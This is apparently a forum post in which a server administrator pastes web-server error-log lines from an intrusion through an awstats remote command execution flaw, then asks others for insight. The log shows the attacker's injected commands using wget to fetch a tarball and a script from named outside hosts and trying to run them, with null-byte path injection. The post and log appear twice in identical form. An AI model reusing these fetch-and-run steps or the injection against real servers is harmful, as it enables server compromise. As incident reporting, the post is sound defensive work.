So I was poking around httpd-errors today and found:
--07:04:28-- http://www.zaludu.home.ro/za.tgz
=> `za.tgz'
Resolving www.zaludu.home.ro... done.
Connecting to www.zaludu.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,141 [application/x-compressed]
0K ......... 100% 14.39 KB/s
07:04:32 (14.39 KB/s) - `za.tgz' saved [10141/10141]
%00/awstats.mysite.com.conf: not found
--07:05:06-- http://www.linux-help.as.ro/h
=> `h'
Resolving www.linux-help.as.ro... done.
Connecting to www.linux-help.as.ro[193.230.153.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
0K .......... .......... .......... .......... . 21.16 KB/s
07:05:11 (21.16 KB/s) - `h' saved [42481]
./h: 1: Syntax error: redirection unexpected
%00/awstats.mysite.com.conf: not found
wget: not found
chmod: h: No such file or directory
./h: not found
%00/awstats.mysite.com.conf: not found
Anyway a little panic set in and I quickly did a sockstat and saw among other things a connection to a foreign ip running sh and another program connected to a foreign ip running on port 6667. IRC and owned...yay. Anyway I'm guessing I missed a vulnerability in awstats that allows remote command execution and someone used that to download and unpack a rootkit. I'm still not sure how they got shell though since I would think it would be limited to the www user that the awstats script would run under.
Anyway moral of the story is be sure you not only keep your services patched but watch those dumb apps you've forgotten you have and be sure they're not the weak link. Also if you have any insight or ideas I'd love to hear them. I didn't want to risk someone noticing they were discovered and doing anything so I just grabbed my httpd-error logs and shutdown the server. I'll be able to do the autposy tomorrow.
--07:04:28-- http://www.zaludu.home.ro/za.tgz
=> `za.tgz'
Resolving www.zaludu.home.ro... done.
Connecting to www.zaludu.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,141 [application/x-compressed]
0K ......... 100% 14.39 KB/s
07:04:32 (14.39 KB/s) - `za.tgz' saved [10141/10141]
%00/awstats.mysite.com.conf: not found
--07:05:06-- http://www.linux-help.as.ro/h
=> `h'
Resolving www.linux-help.as.ro... done.
Connecting to www.linux-help.as.ro[193.230.153.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
0K .......... .......... .......... .......... . 21.16 KB/s
07:05:11 (21.16 KB/s) - `h' saved [42481]
./h: 1: Syntax error: redirection unexpected
%00/awstats.mysite.com.conf: not found
wget: not found
chmod: h: No such file or directory
./h: not found
%00/awstats.mysite.com.conf: not found
Anyway a little panic set in and I quickly did a sockstat and saw among other things a connection to a foreign ip running sh and another program connected to a foreign ip running on port 6667. IRC and owned...yay. Anyway I'm guessing I missed a vulnerability in awstats that allows remote command execution and someone used that to download and unpack a rootkit. I'm still not sure how they got shell though since I would think it would be limited to the www user that the awstats script would run under.
Anyway moral of the story is be sure you not only keep your services patched but watch those dumb apps you've forgotten you have and be sure they're not the weak link. Also if you have any insight or ideas I'd love to hear them. I didn't want to risk someone noticing they were discovered and doing anything so I just grabbed my httpd-error logs and shutdown the server. I'll be able to do the autposy tomorrow.